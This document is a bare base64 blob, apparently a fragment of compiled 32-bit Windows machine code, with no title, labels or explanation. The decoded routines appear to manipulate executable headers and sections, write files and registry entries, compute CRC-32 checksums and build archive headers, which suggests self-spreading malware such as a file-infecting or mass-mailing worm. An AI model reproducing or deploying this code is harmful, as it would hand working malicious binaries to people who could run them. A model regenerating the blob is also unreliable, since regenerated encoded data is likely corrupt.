dCQE/xWc0EAAw1WL7IHsSAMAAFZX/3UIjYX4/f//M/ZQ6Bg4AACNhfj9//9Q6Pw4AACDxAyF wHQXgLwF9/3//1yNhAX3/f//dQaAIABqAV6Nhfj9//9osPBAAFDo7TcAAFmNhbj8//9ZUI2F +P3//1D/FYzQQACL+IP//w+E1AAAAP91CI2F/P7//1DorTcAAFmF9ll1E42F/P7//2hE8EAA UOimNwAAWVmNheT8//9QjYX8/v//UOiRNwAA9oW4/P//EFlZdFuNheT8//9orPBAAFDodTYA AFmFwFl0Wo2F5Pz//2io8EAAUOheNgAAWYXAWXRD/3UQjYX8/v//agFQ/1UMg8QMhcB0Lf91 EI2F/P7///91DFDo7P7//4PEDOsW/3UQjYX8/v//agBQ/1UMg8QMhcB0Fo2FuPz//1BX/xWI 0EAAhcAPhTP///9X/xWE0EAAXzPAXsnDVYvsUYF9DABQAQBTVld8Kmog/3UI/xWA0EAAM9tT aiBqA1NqA2gAAADA/3UI/xX80EAAi/iD//91BzPA6YQAAACNRfxQV/8V7NBAAIvwO3UMfhVT U/91DFf/FeTQQABX/xWQ0EAA61NqAlNTV/8V5NBAAItFDCvGvgAACACJRQiLzpn3+TvDix1s 0EAAfheJRQyNRfxqAFBWaNAxQQBX/9P/TQx17I1F/GoAUItFCJn3/lJo0DFBAFf/01f/FSTR QABqAVhfXlvJw1ZqAGonagNqAGoDaAAAAID/dCQg/xX80EAAi/CD/v91BDPAXsOLRCQMV41I EFGNSAhRUFb/FejQQABWi/j/FSTRQACLx19ew1ZqAGonagNqAGoDaAAAAMD/dCQg/xX80EAA i/CD/v91BDPAXsOLRCQMV41IEFGNSAhRUFb/FTDRQABWi/j/FSTRQACLx19ew1WL7IPsFFON TezodNX//41F/GoBUI1N7P91COhm1f//i9iF23Rwg30QAHQmgX38AJABAHYdagDosgUAAFkz 0moKWffxg8JUweIKO1X8cwOJVfyLRfxWA8BQ6Gk9AACL8FmF9nQmi0X8A8BQagBW6LU0AABq SP91/FZT6LnN//+LTQyDxByFyXQCiQGNTezordX//4vGXlvJw1WL7IHsBAEAAFNWV4t9CDPb ahRTV4id/P7//+hvNAAAg8QMOB3sN0kAdD5T6CQFAABZM9JqA1n38YXSdCxqAWoKjYX8/v// UVBo7DdJAOib9///g8QUhcB0D42F/P7//1BX6Ig0AABZWTgfD4WLAAAAOB3oNkkAdDZT6NYE AABZM9JqA1n38YXSdCSNhfz+//9TUFNTaOg2SQDouzUAAI2F/P7//1BX6EM0AACDxBw4H3VJ U+icBAAAqA9ZdSu+dA1BAFNW6IPx//9TiUUI6IIEAAAz0vd1CFJW6D7x//9QV+gJNAAAg8Qc OB91D2oEagZqAlfo1fP//4PEEDldDHQrvvwBQQBTVuhA8f//U4lFCOg/BAAAM9L3dQhSVuj7 8P//UFfo1jMAAIPEHDldEHQN/3UQV+jFMwAAWVnrMDldFHQrvtwBQQBTVuj+8P//U4lFCOj9 AwAAM9L3dQhSVui58P//UFfolDMAAIPEHF9eW8nDVYvsg+wUU4tFGFZX/3UUM9uDz/+JXfxT iX34/3UQiV3wiV30iRjo8TIAAIt1CIoGUOgZ+P//g8QQhcAPhIwAAACKBlDoBvj//4XAWXRc i0UMi95IiUUIi0UQK8aJRezrA4tF7IoLiAwYigM8QHUJi03w/0X0iU34PC51B4X/fQOLffD/ RfxDi0X8/0XwO0UIfRaLRRRIOUXwfQ2KA1DorPf//4XAWXW5M9uLRfCLTRArffiAJAgAg/8D fhFqAVg5Rfh+CTlF9A+EoAAAAINN+P+DTfD/iV38ZoseM/9TIX306MP3//+FwFkPhIoAAABT 6LT3//+FwFl0VItFDEghfQyJRQiLRRCA+0CIHAd1Bv9F9Il9+ID7LnUJg33wAH0DiX3wg0UM BINF/AKLRQxHO0UIfRqLRRRIO/h9EotF/GaLHDBT6GD3//+FwFl1totFEIAkBwCLRfArRfiD +AJ+EmoBWDlF+H4KOUX0dQWLTRiJAYtF/APG6wONRgFfXlvJw1WL7IHsGAQAAFMz21aNTeiJ Xfzo3tH//41F+GoBUI1N6P91COjQ0f//i/A783UEM8DrY1eL/otF+IvPK86NUP87yn1HjU38 K8dRjY3o+///aAAEAACNRDD/UVBX6B7+//+DxBSDffwAi/h0yv91FI2F6Pv///91EFD/dQzo Hu7//4PEEIXAfq5D66uNTejoINL//4vDX15bycNVi+xRUYtFGINN+P9QagD/dRSJRfzo5zAA AIPEDI1FGFD/dQz/dQj/FUzQQACFwHQFagFYycONRfxQjUX4/3UUUGoA/3UQ/3UY/xUU0EAA /3UY/xVc0EAAM8DJw1WL7I1FDFD/dQz/dQj/FRjQQACFwHQFagFYXcP/dRTo0TEAAFlQ/3UU agFqAP91EP91DP8VENBAAP91DP8VXNBAADPAXcNVi+yB7AwBAACNRfxWUDP2/3UM/3UI/xVM 0EAAhcB0BDPA61eNhfT+//9oBAEAAFBW/3X8/xVQ0EAAhcB1LzlFEHQjIUX4/3UUjUX4UI2F 9P7//1D/dQz/dQj/VRCDxBSDffgAdQNG67uL8OsDagFe/3X8/xVc0EAAi8ZeycNVi+yB7BQI AABTjUX8VlD/dQy+AAQAADPbiXXw/3UIiXX4/xVM0EAAhcB0BDPA63ONRfiJdfBQjYXs9/// UI1F7FCNRfBqAFCNhez7//+JdfhQU/91/P8VRNBAAIXAdTWDfewBdSg5RRB0IyFF9P91FI1F 9FCNhez7//9Q/3UM/3UI/1UQg8QUg330AHUDQ+ufi/DrA2oBXv91/P8VXNBAAIvGXlvJw4N8 JAQAdQmDPcwxQQAAdRf/FTTRQABQ6GM3AABZ6Gc3AACjzDFBAOldNwAAVYvsg+xUVjP2akSN RaxWUOj5LgAAg8QMjUXwx0WsRAAAAFCNRaxQVlZWVlZW/3UM/3UI/xWk0EAA99gbwF4jRfDJ w1WL7IPsHFNWjU3k6BbP//+DZfgAvsDwQABW6PwvAABZiUX0jUX8agFQjU3k/3UI6PXO//+L 2IXbdFOLTfxXgfkAoAAAcju4ABAAAIHBGPz//zvIi/h2Kv919I0EH1BW6Jc7AACDxAyFwHQP i0X8RwUY/P//O/hy3+sHx0X4AQAAAI1N5Ohaz///i0X4X15bycNVi+yB7AAEAABojQdBAP91 EOi88///WYXAWXRzjYUA/P//aAAEAABQgKUA/P//AP91EP91DP91COj8/P//jYUA/P//UOgm ////g8QYhcB0P4tNGGoBWP91DIkBi00UaOA0SQCJAegwLgAAjYUA/P//UGjkNUkA6B8uAAD/ dRBo3DNJAOgSLgAAg8QYM8DJw2oBWMnDVYvsgewACAAA/3UMjYUA/P//UOjuLQAAjYUA/P// aETwQABQ6O0tAAD/dRCNhQD8//9Q6N4tAACNhQD8//9ojQdBAFDo9fL//4PEIIXAdHmNhQD4 //+ApQD4//8AaAAEAABQjYUA/P//aJMHQQBQ/3UI6C78//+NhQD4//9Q6Fj+//+DxBiFwHQ/ i00YagFY/3UMiQGLTRRo4DRJAIkB6GItAACNhQD4//9QaOQ1SQDoUS0AAP91EGjcM0kA6EQt AACDxBgzwMnDagFYycNVi+yB7BwFAACDZfwAgz3wOEkAAHUlagRoUgJBAOhE6v//jU38UWhK SUAAUGgCAACA6EP8//+DxBjrPI2F6Pv//2oCUOiC8v//jYXo+///UGjgNEkA6N4sAACNRfxQ jYXo+///aLZIQABQaAIAAIDog/z//4PEIItF/IXAo/Q4SQAPhdEAAABWjYXk+v//aAQBAABQ /xWo0EAAM/aAZegAjUXoaI0HQQBQ6IosAABZjUXoWWoEagRqAlDoaS0AAFmNRAXoUOhN7P// jUXpUOjBfgAAjYXk+v//UI2F6Pv//1DoUiwAAI2F6Pv//2hE8EAAUOhRLAAAjUXoUI2F6Pv/ /1DoQSwAAI2F6Pv//2jcAUEAUOgwLAAAjYXo+///UOgn8///g8Q4hcB0CkaD/goPjGf///+N RehQaNwzSQDoBSwAAI2F6Pv//1Bo5DVJAOjkKwAAg8QQXmoBWMnDi0QkBGaLTCQIZgFIAmaL SAJmg/kBfQ5mg0ACHmaLSAJm/wjr7GaDeAIffhJmg0AC4maLSAJm/wBmg/kff+5miwhmg/kB fQaDwQxmiQhmiwhmg/kMfgaDwfRmiQjDi0QkDFaLdCQIV4t8JBCAJwCAIACAPlx1WIB+AVx1 UlNouPBAAFfoUysAAFmNRgJZighqAoD5XFp0F4vfK96EyXQPighCiAwDikgBQID5XHXtgCQ6 AAPWW4A6AHUEagLrElL/dCQY6BMrAABZM8BZ6wNqAVhfXsNVi+yB7BAEAABWjYX0/P//aOQ1 SQBQ6OwqAABZjYX8/v//WTP2aAQBAABQVv8VFNFAAFaNhfD7//9WUI2F9Pz//1ZQ6CosAABW jYX4/f//VlCNhfz+//9WUOgULAAAjYX4/f//UI2F8Pv//1DoZnwAAIPEMPfYG8BeQMnDVot0 JAyD/kRyMYtMJAiAOU11KIB5AVp1Ig+3QTwDwYPG/IvQK9E71ncRiwBeLVBFAAD32BvA99Aj wsMzwF7DVYvsU4tdEFaLdQhXU1borv///1mFwFl0UI0MMIt1DItRdI1BdDvWckAPt0kGi3Tw /IPABDP/hcmNRNAIdiuDw/yJXRCL0CtVCDtVEHMbi1AEixgD2jvedgQ71nYIg8AoRzv5ct87 +XICM8BfXltdw1WL7FNWi3UMV4t9CI1GEIlFDIvGK8eDwBA7RRgPh4AAAAAPt0YOD7dODINl CAADwYXAfmaLXRSLRQyLTRgrx4PACDvBd1SLRQyLQASpAAAAgHQcUVP/dRAl////fwPHUFfo mv///4PEFIXAdDXrFYvTA8crVRABEIsAO8NyJAPLO8FzHg+3Rg4Pt04Mg0UMCP9FCAPBOUUI fJ1qAVhfXltdwzPA6/dVi+yD7DxWjU3U6CLJ//+NTcToGsn//41F/GoBUDP2/3UMjU3EiXX4 iXX8iXX0iXXw6P7I//87xolFDHUHM8DpZAEAAItF/ItNEFONhAgAEAAAUP91COj58f//WY1F +FlWUP91CI1N1OjHyP//i9g73old7A+E/gAAAFf/dfhqA1PoZP7//4v4g8QMO/4PhNoAAAD/ dfxqA/91DOhK/v//i/CDxAyF9g+EwAAAAP91/P91DOjz/f///3X4iUUQU+jn/f//i00Qi1UM A8qDxBBmg3lcAg+FkwAAAIuJjAAAAAPYiU0QiYuMAAAAi0YIi08MiUcIiwaJB4tHCAPBiUXw i0YEiUXki0cEiUXoi0YIi3YMA/KLVeyNPBGLyCtNDAPOO038d0dQVlfouCwAAP91EP916P91 5FdX6Bz+//8Pt0sUiUX0i9MPt0MGA9GDxCCNBICNTML4i0TC/AMBZqn/D3QHwegMQMHgDIlD UI1N1Oh5yP//M/ZfjU3E6G7I//85dfRbdB+LRfA7RfxzA4tF/FD/dQjouvD///91COhMAQAA g8QMi0X0XsnDVYvsg+wUU1aNTezodsf//zP2jUX8VlD/dQiNTezoZ8f//4vYO951BzPA6b0A AABX/3X8U+jH/P//i/hZhf9ZD4SBAAAA/3X8agNT6O/8//+DxAyFwHRvahCNNB9aiZaMAAAA i0gEA8qJEGb3wf8PiVAIdAfB6QxBweEMiU5Qi0gMi3gIA/k7fQxzA4t9DGb3x/8PdAfB7wxH wecMjQQZi8gryztN/HMMUmoAUOh6JgAAg8QMi4bsAAAAhcB0A4lGKGoBXusDi30IjU3s6HLH //+F9nQLV/91COjL7///WVn/dQjoWwAAAFmLxl9eW8nDVYvsUYtFDDPJ0eiJTfx0KYtVCFaL 8A+3AgPIiU0Ii0UIwegQiUUIgeH//wAAA00IQkJOdeGJTfxeiU0Ii0UIwegQi1X8ZgPCiUUI i0UIA0UMycNVi+yD7BRWV41N7Ogzxv//g2X8ADP2jUX8VlCNTez/dQjoIMb//4v4hf90O/91 /FfoiPv//1mFwFl0IoN8OFgAjXQ4WHQSgyYA/3X8V+hb////WYkGWesDi0UIi/CNTezom8b/ /4vGX17Jw1WL7IHsAAgAAIM98DhJAAB1NYM9EDlJAAB0LI2FAPj//2jIAAAAUGr//3UIagFq AP8VeNBAAI2FAPj//1BqAP8VEDlJAMnDM8DJw1WL7IPsDFNWV4tFCIlF+ItFDIlF9It1+It9 9FFSUzPJSYvRM8Az26wywYrNiuqK1rYIZtHrZtHYcwlmNSCDZoHzuO3+znXrM8gz00911ffS 99Fbi8LBwBBmi8FaWYlF/ItF/F9eW8nDVYvsgexQAQAAU1ZXagNfjU3Q6A7F////dRDo+yUA AIvwWY1F6IPGIFD/FdjQQABmgWXq/v8z21PoU/X//1kz0moeWffxZilV8maDffI8cgZmx0Xy AQCKRfKLTfCD4D/B4QYLwYpN9NDpweAFg+EfC8GKTf5miUX8i0Xog8BEg+EfweAJM8GKTeqD 4Q9mJR/+weEFC8GKTe5miUX+Mk3+g+EfZjPBOV0UZolF/nQDagJfaiD/dQj/FYDQQABTaiBX U2oDaAAAAMD/dQj/FfzQQACL+IP//4l9+HQqagJTU1f/FeTQQACNReRqAVCNTdD/dQzoMcT/ /zvDiUUMdQ5X/xUk0UAAM8Dp8wAAAItF5MaFsv7//3RQZseFs/7//wCA/3UMZom1tf7//4mF t/7//4mFu/7//4idv/7//+hX/v///3UQiYXA/v//i0X8xoXI/v//FImFxP7//8aFyf7//zDo tCQAAP91EGaJhcr+//+NhdD+//+Jncz+//9Q6KgjAAAPt/6NR/5QjYWy/v//UOgD/v//izVs 0EAAg8QcOV0UZomFsP7//3QRjUXgU1BqFGisDUEA/3X4/9aNReBTUI2FsP7//1dQ/3X4/9aN ReBTUP915P91DP91+P/WjU3Q6P3D////dfj/FSTRQAA5XRR0Cf91COgBAQAAWWoBWF9eW8nD VYvsUYsNFDlJAINl/ABqAYXJWHQIjUX8agBQ/9HJw1WL7IHsYAYAAItFCFMz28dF8EAGAAA7 w4ld/HUG/xWs0EAAjU0IUWooUP8VINBAAIXAD4SeAAAAVo1F9FdQ/3UMU/8VCNBAAIXAdHyL RfSLNQzQQACJReSLRfiJReiNRfBQjYWg+f//UI1F4GoQUFOJXeD/dQiJXez/1os94NBAAP/X hcB1QYtF9IONrPn//wKJhaT5//+LRfiJhaj5//9TU42FoPn//2oQUFPHhaD5//8BAAAA/3UI /9b/14XAdQfHRfwBAAAA/3UI/xUk0UAAi0X8X15bycNVi+yD7BhWM/ZXVmogagNWagFoAAAA wP91CP8V/NBAAIv4O/4PhK4AAACNRehQ/xW00EAAVuha8v//ajwz0ln38VZmiVXy6Eny//9Z M9JZahhZ9/FmKVXwZjl18H8IZgFN8Gb/Te5W6Cjy//9ZM9JqHFn38WYpVe5mOXXufxJW6BDy //9ZM9JqA1n38WaJVe5W6P7x//9ZM9JqDFn38WYpVepmOXXqfwhmAU3qZv9N6I1F+FCNRehQ /xWw0EAAjUX4UI1F+FCNRfhQV/8VMNFAAFf/FSTRQABfXsnDVYvsgeyUAAAAU1ZXagFbU+ij 8f//vgQBAAAz/1ZXaOw3SQDoyiAAAFZXaOg2SQDoviAAAFZXaOQ1SQDosiAAAFZXaOA0SQDo piAAAFZXaNwzSQDomiAAAIPEQGjQ8EAAaGYiAABo1PBAAOjH3///aPg4SQDoCdD//4PEEP8V vNBAACUAAACAiT0AOUkAo/A4SQCNhWz///9Qx4Vs////lAAAAP8VuNBAAIO9cP///wV1Djmd dP///3UGiR0AOUkA6FXz//++ANAHAFbowSgAADvHWaPYM0kAdQQzwOskVldQ6AwgAADo1QAA AFNoBA5BAOiK3f//UFfoTv3//4PEHIvDX15bycNVi+yD7BRXjU3s6DfA//+NRfxqAFCNTez/ dQjoKcD//4v4hf8PhIwAAABWvgAQAAA5dfxzBDP263JT/3UM6PkgAACL2ItF/AUY/P//WTvG dlaNBD5TUP91DOi9LAAAg8QMhcB0D4tF/EYFGPz//zvwct/rM418PhS+ZiIAAI1f/FNWV+in 3v//i0UMVoPAFFBX6GUkAABT6ADe//9TVlfoL97//4PEKGoBXluNTezoUMD//4vGXl/Jw1NV VldqAmiTC0EA6LDc//+LHfTQQABZWVD/04s1ONFAAIvohe2/kwxBAHQ5agFX6Izc//9ZWVBV /9ZqBFejCDlJAOh53P//WVlQVf/WagVXowQ5SQDoZtz//1lZUFX/1qMMOUkAagNokwtBAOhP 3P//WVlQ/9OL6IXtdBNqA1foPNz//1lZUFX/1qMQOUkAv8gNQQBX/9OL2IXbdBNqAVfoG9z/ /1lZUFP/1qMUOUkAX15dW8NVi+yB7EwGAABTVleNTeToxL7//4t9CDPbV4ld9OiQ7///hcBZ D4VqAgAAV+jP+P//hcBZD4VbAgAAvvsMQQBTVuj12///iUX8jYW4+v//U1BTU1fo7x8AAIPE HDld/IldCH4x/3UIVuie2///OBhZWXQXUI2FuPr//1DoleP//1mFwFkPhQsCAAD/RQiLRQg7 Rfx8z42FyP7//1Dog+X//42FvPv//8cEJAQBAABQU/8VFNFAAI2FyP7//1NQjYW8+///UP8V fNBAAIXAD4TCAQAAizWA0EAAjYXI/v//aiBQ/9ZoAFABAI2FyP7//1dQ6LH0//+DxAyFwA+E hwEAAI1F+FNQV41N5OjMvf//O8OJRQgPhG4BAACBffgAUAEAD4ZZAQAAgX34AAAwAA+DTAEA AI2FvPv//1NQjYW0+f//UI2FxP3//1BX6PgeAACNhbT5//9QjYXE/f//UOiKHQAAjYW8+/// UI2FxP3//1Dodx0AAI2FxP3//2is8EAAUOhmHQAAagRqA42FwPz//2oDUOgj3f//D76FwPz/ /1DotSAAAIPEQIiFwPz//42FwPz//1CNhcT9//9Q6CsdAACNRfRQ/3X4/3UI6BkaAACDxBQ7 w4lFCI1N5A+EoQAAAOiuvf///3X0jYXE/f///3UIUOha4///jYXE/f//UOiq+v//g8QQjYXE /f//aidQ/9aNRcxQV+io5v//WYlF/FlqIFf/1lONhcj+//9XUP8VfNBAAI2FyP7//1DoUOT/ /42FxP3//1Bo1ABBAOiKHAAAaMDwQABX6DT8//+DxBQ5Xfx0DI1FzFBX6J3m//9ZWf91COj+ IAAAWWoBWOsXjU3k6A29//+Nhcj+//9Q6P7j//9ZM8BfXlvJw1WL7IHsKAQAAFaNTejoKrz/ /4Nl/ACNRfhqAVD/dQiNTejoGLz//4vwhfYPhJMAAACNheD9//9QjYXY+///UI2F3Pz//1CN heT+//9Q/3UI6FcdAACNhdz8//9QjYXk/v//UOjpGwAAjYXY+///UI2F5P7//1Do1hsAAICl 5f3//wCNheH9//9QjYXk/v//UOi8GwAAjYXk/v//aNwBQQBQ6KsbAACNRfxQ/3X4VuiqGQAA i/CDxECF9o1N6HUJ6DW8//8zwOtU6Cy8////dfyNheT+//9WUOja4f//Vuj5HwAAg8QQM/b/ FcTQQABQjYXk/v//UOjY6///WYXAWXQZav9Q/xXA0EAAjYXk/v//UOjg4v//WWoBXovGXsnD VYvsgewEAQAAjYX8/v//aAQBAABQaKAxQQBqBWhSAkEA6CrY//9ZWVBoAQAAgOiO6f//agGN hfz+////dQz/dQhQ6ODo//+DxCTJw1WL7IHsDAIAAFMz2zldDFZXiV38D4WLAQAAvosJQQBT VugO2P//i/iNhfT9//9QjYX4/v//UFNTiJ34/v///3UI6PsbAACDxBxPO/uJXQx+Mf91DFbo qtf//1CNhfj+//9Q6D9sAACDxBCFwHUMOX0MdAfHRfwBAAAA/0UMOX0MfM+NhfT9//9QjYX4 /v//UOhRGgAAvhsLQQBTVuiT1///g8QQM/87w4lFDH4oV1boUNf//1CNhfj+//9Q6OVrAACD xBCFwHUHx0X8AQAAAEc7fQx82Dld/HQpagFo8A1BAOge1///i3UIUFboHt///4PEEIXAdQ9W 6I7h//9Z6aIAAACLdQhW6MXf//+L+Fk7+3w1VmjoNkkA6LgZAABZg/8FWX02VmjsN0kA6KYZ AABqAWgA0AcA/zXYM0kAVuiY5///g8QY6xOD/5x1DlNq/2r/Vuh6EgAAg8QQixUYOUkAadIs AQAAgfpYGwAAfhdT6Mfp//9ZM9JqBVn38YPCB2nS6AMAAFL/FSzRQAD/BRg5SQCBPRg5SQAQ JwAAfgaJHRg5SQBqAVhfXlvJw1WL7IHsDAMAAFMz242F9Pz//1NQjYX8/v//UFP/dQjocBoA AIPEFDldDHVtOV0QdT+Nhfz+//9Q6NwZAAA7w1l0B4icBfv+//+Nhfj9//9TUFONhfz+//9T UOg1GgAAjYX4/f//UOh63v//g8QY6w2NhfT8//9Q6Gne//9ZhcB0GGoBaADQBwD/NdgzSQD/ dQjomOb//4PEEGoBWFvJw1ZXi3wkDGoBXmhuCUEAV+iu3f//WYXAWXQlaG0JQQBX6J3d//9Z hcBZdAIz9lZoJ15AAFfoHeD//4PEDGoBWF9ew1WL7IHsDAsAAItFFFNWV/91DDPbiRiNhfT0 //9Q6CYYAACNhfT0//9oRPBAAFDoJRgAAP91EI2F9PT//1DoFhgAAI2F9Pj//2gABAAAUI2F 9PT//1NQaAIAAIDoh+b//42F9Pj//1CNhfz+//9Q6NUXAACDxDSNhfT4//9oBAEAAFCNhfz+ //9Q/xXI0EAAvosJQQBTVugL1f//iUUUjYX0/P//U1BTjYX0+P//U1Do/xgAAIPEHDP/OV0U fitXVuix1P//OBhZWXQTUI2F9Pz//1DoqNz//1mFwFl1Bkc7fRR82jt9FHwkjYX0+P//aCMN QQBQ6Ibc//9ZhcBZdA2NhfT4//9Q6F/4//9ZU42F+P3//1NQjYX8/v//UI2F9Pj//1DoihgA AI2F+P3//1CNhfz+//9Q6BwXAACNhfz+//9Q6Hb+//+DxCBo6AMAAP8VLNFAAGoBWF9eW8nD VYvsgewIAQAAgKX4/v//AI2F+P7//2oBUOhf3P//jUX8UI2F+P7//2gIX0AAUGgCAACA6PPl //+DxBhogO42AP8VLNFAAOvBVYvsg30MAHU0g30QAHUIagX/FSzRQAD/dQjoftz//4XAWXwU g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA AABDO9981IN8JBAAdUxqAY1fATtcJBhYiUQkEH0uU1bou8///1lZUFdW6LHP//9ZWVDo//7/ /1mFwFl0BP9EJBBDO1wkFHzWi0QkEDtEJBh+CIlEJBiJfCQcRzt8JBQPjGz///+DfCQYAFt+ FYN8JBgAfA5V/3QkHFbow8///4PEDDP/agFV/3QkKFboxc7//4PEEIXAdRJVav9W6KHP//+D xAxHg/8KfNpqAVhfXl2DxBDDgewEAgAAU1VWV8dEJBABAAAAMtu+Xg5BAL0EAQAAvwEAAID/ dCQQjUQkGIgd1DJJAIgd0DFJAFZo6ChBAFDoBBYAAIPEEFVo1DJJAGoBVujYzv//WVlQjUQk IFBX6Dvg//+DxBQ4HdQySQB0J1Vo0DFJAGoCVuixzv//WVlQjUQkIFBX6BTg//+DxBQ4HdAx SQB1F/9EJBCDfCQQCX6EiB3UMkkAiB3QMUkAX15dW4HEBAIAAMNVi+y4IDAAAOhLGQAAU1ZX aAAAEADobRkAADPbWTvDiUXsdQlfXjPAW8nCBADo8O3//4XAdQ1oYOoAAP8VLNFAAOvqaADQ BwD/NdgzSQDo0/X//1lZagHoovr//+jp/v//jYWI8///aAQBAABQU/8VFNFAAI2F3P7//1Do D9j//1mJXfi+JAkAAOiU7f//hcB1Cmhg6gAA6YcDAACNhdz+//9Q6LPX//+FwFl1Wo2F3P7/ /1NQjYWI8///UP8VfNBAAI2F3P7//2ogUP8VgNBAAI2F3P7//2gAUAEAUOjb6P//U+jG4P// M9K5ACgAAPfxjYXc/v//gcIAUgEAUlDoYtn//4PEFFP/NdgzSQDok83//zlF+FlZiUXoD439 AgAAaHoiAACNheDP//9owPBAAFDowRQAAI2F4M///4id9N///1CNhdz+//9Q6K3v//9WjYWM 9P//U1Doig8AAP91+P812DNJAOgKzf//g8QoOBiJReQPhJUCAABQjYXw9P//UOjBDwAAU+gh 4P//M9KDxAz3deg7Vfh1AUI7Veh8AjPSUv812DNJAOjIzP//i/hZWTgfdRBT/zXYM0kA6LTM //9Zi/hZjYXc/v//UI2FOPr//1Dobw8AAI2FVPX//1dQ6GIPAACNhYz0//9XUOhVDwAAagGN hYz0////dexQ6P/5//+DxCSFwA+FAAIAAFaNhYz0//9TUOjLDgAAjYXc/v//UI2FOPr//1Do GA8AAI2FVPX//1dQ6AsPAACNhYz0//9XUOj+DgAA/3XkjYXw9P//UOjvDgAAagGNhYz0//// dexQ6H76//+DxDiFwHQMV+in+///WemSAQAAU2jU8EAA6B7M//+DTeD/WVmJRfSJXfBWjYWM 9P//U1DoRg4AAI2F3P7//1CNhTj6//9Q6JMOAACNhVT1//9XUOiGDgAA/3XkjYXw9P//UOh3 DgAAU+jX3v//M9KDxCj3dfQ7VeCJVfx1BEKJVfw7VfR8A4ld/P91/GjU8EAA6HbL//9QjYWM 9P//UOg7DgAAagGNhYz0////dexQ6Mr5//+DxByFwHUT/0Xwi0X8g33wBolF4A+MXP///4N9 8AYPjM0AAABTaCwOQQDoWcv//1OJRfToWN7//zPSg8QM93X0O1X0iVX8fAOJXfyNhVzy//9Q jYWw/f//UFfoM9L//42FsP3//2g08EAAUOjKDQAA/3X8aCwOQQDo28r//1CNhbD9//9Q6LAN AABWjYWM9P//U1DoMg0AAI2F3P7//1CNhTj6//9Q6H8NAACNhVT1//9XUOhyDQAAg8RAjYXw 9P///3XkUOhgDQAAjYWw/f//UI2FjPT//1DoTQ0AAGoBjYWM9P///3XsUOjc+P//g8Qc/0X4 i0X4O0XoD4wD/f//aMAnCQD/FSzRQADpW/z//1WL7IHsYAUAAGah9ChBAFZXagdmiUWgWTPA jX2i86tmq6HwKEEAjX3oiUXkM8CrZqsz/8dF4CAAAAA5PfA4SQCJffSJffgPhd8BAAA5PQg5 SQAPhNMBAACLdQg793QljUXgUI1FgFD/FWTQQACNRYBQjUYCUOhwXgAAWYXAWQ+EpwEAAI2F WP///4NN0P+JRdiNhbD+//+JRcCNhbD+//+JRciNRYBTUI1FoIl9xFCJfdSJfdzHRcx/AAAA 6GkMAABZjYUY////WWoiUGr/Vos1eNBAAGoBV//Wx0X8AgAAALtE8EAAikX8ahQEQYhF5I2F WP///1CNReRq/1BqAVf/1opF5Go0iEWgjYWw/v//UI1FoGr/UGoBV//WjUX0UI1FwFCNhRj/ //9qAlD/FQg5SQA5fQyJRfAPhN4AAAA7x3VgOX34dVtqAWjcAUEAV+gr3P//WYPgAVCNhaT7 //9Q6MXW//+Nhaj8//9TUOinCwAAjUWgUI2FqPz//1DopwsAAGoBjYWk+///V1CNhaj8//9X UP91COh6vP//g8Q4iUX4OX3wdXVqAWjCDUEAjYWg+v//V1Dob9b///91CI2FrP3//1DoTwsA AI2FrP3//1NQ6FILAACNRaBQjYWs/f//UOhCCwAAjYWs/f//U1DoNQsAAI2FoPr//1CNhaz9 //9Q6CILAABqAWr/jYWs/f//av9Q6PwDAACDxEj/RfyDffwFD4y8/v//W19eycNVi+y4nEMA AOjuEgAAjUUMV1CDTfz//3UIx0X4gD4AAGoDagFfV/91DOgpWwAAhcAPhUABAACNRfhTUI2F ZLz//1CNRfxQ/3UM6ANbAAAz2zld/IldCA+GEQEAAFaNtXi8///2RvgCjUbsdBP/dRBqAlDo if///4PEDOnbAAAAjYXs/P//UI2F8P3//1D/NujZ3v//g8QMhcAPhbsAAAD/dRCNhfD9//9Q 6CP9//9ZWVdo3AFBAFPoldr//1kjx1CNheT6//9Q6DDV//+DxBA5XRAPhIIAAABXjYXk+v// U1CNhez8//9TUI2F8P3//1Do87r//4PEGFdowg1BAFPoTdr//1kjx1CNhej7//9Q6OjU//// No2F9P7//1DoyQkAAI2F9P7//2hE8EAAUOjICQAAjYXo+///UI2F9P7//1DotQkAAFdq/42F 9P7//2r/UOiQAgAAg8Q4/0UIg8Ygi0UIO0X8D4L3/v//Xv91DOjWWQAAW1/Jw2oBWFBqAmoA 